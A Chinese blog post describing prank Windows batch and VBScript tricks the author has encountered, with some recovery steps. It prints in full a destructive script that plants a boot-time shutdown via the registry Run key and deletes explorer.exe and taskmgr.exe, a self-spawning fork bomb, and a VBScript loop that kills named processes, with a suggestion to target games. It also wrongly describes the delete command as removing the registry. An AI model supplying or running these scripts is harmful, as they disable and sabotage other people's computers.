曾经踩过的坑:批处理

批处理,顾名思义,批处理就是对某对象进行批量的处理。本来并不掌握这块,但由于经常被朋友捉弄,也逐渐了解了一些批处理。

关机

@echo Off
echo REGEDIT4 > 0.reg
echo shutdown /s /t 0 > %windir%\restart.bat
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run]>>0.reg
echo "bat"="C:\\windows\\restart.bat">>0.reg
regedit /s 0.reg &del 0.reg
taskkill /f /im explorer.exe
taskkill /f /im taskmgr.exe
ren %windir%\explorer.exe exp.reg
ren %windir%\system32\taskmgr.exe t.reg
del /f /s /q %windir%\explorer.exe
del /f /s /q %windir%\system32\taskmgr.exe
shutdown /s /t 0

该Bat通过del /f /s /q强制删除注册表,然后再用shutdown /s /t 0达到立刻关机

解决方法:
1、PE下删除C:/windows/restart.bat
2、从别的同系统(相同位数x86,x64)的电脑拷贝explorer.exe和taskmgr.exe放入指定的路径下。

路径:

explorer.exe  C:/windows
taskmgr.exe   C:/windows/system32  

另外可能由于权限的关系(开启UAC),批处理没有删除taskmgr.exe,复制的时候注意检查。

无限弹窗命令行

只需一段

start 1.bat

需要把bat命名为1.bat(其他名称也可以,代码内容随之改变)
无限打开这个批处理,迟早卡死机器

关闭进程

do
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='TIM.exe'")
for each i in pipe
i.terminate()
next
wscript.sleep 1000
loop

每隔1000毫秒(1秒)检查一下进程有没有TIM,有的话将其关闭。
该命令扩展名为vbs。
同理可以把进程名替换为League of Legends,Overwatch,达到游戏打着打着就退出的目的。但要注意的是进程名不一定是游戏名,替换前要注意名称。

Windows开机自动启动目录

C:\Users~\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

当开机就出现以上情况时,就要注意可能是开机自启动。
解决方法:进入PE模式删除。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 个人学习批处理的初衷来源于实际工作;在某个迭代版本有个BS(安卓手游模拟器)大需求,从而在测试过程中就重复涉及到...
    Luckykailiu阅读 4,981评论 0 11
  • 运行操作 CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) CM...
    小明yz阅读 2,996评论 0 8
  • 命令简介 cmd是command的缩写.即命令行 。 虽然随着计算机产业的发展,Windows 操作系统的应用越来...
    Littleston阅读 3,425评论 0 12
  • win7 cmd管理员权限设置 net localgroup administrators 用户名 /add 把“...
    f675b1a02698阅读 5,508评论 0 11
  • 一、命令行 1. calc-----------启动计算器 2.certmgr.msc----证书管理实用程序 3...
    小小辛_c阅读 765评论 0 2

友情链接更多精彩内容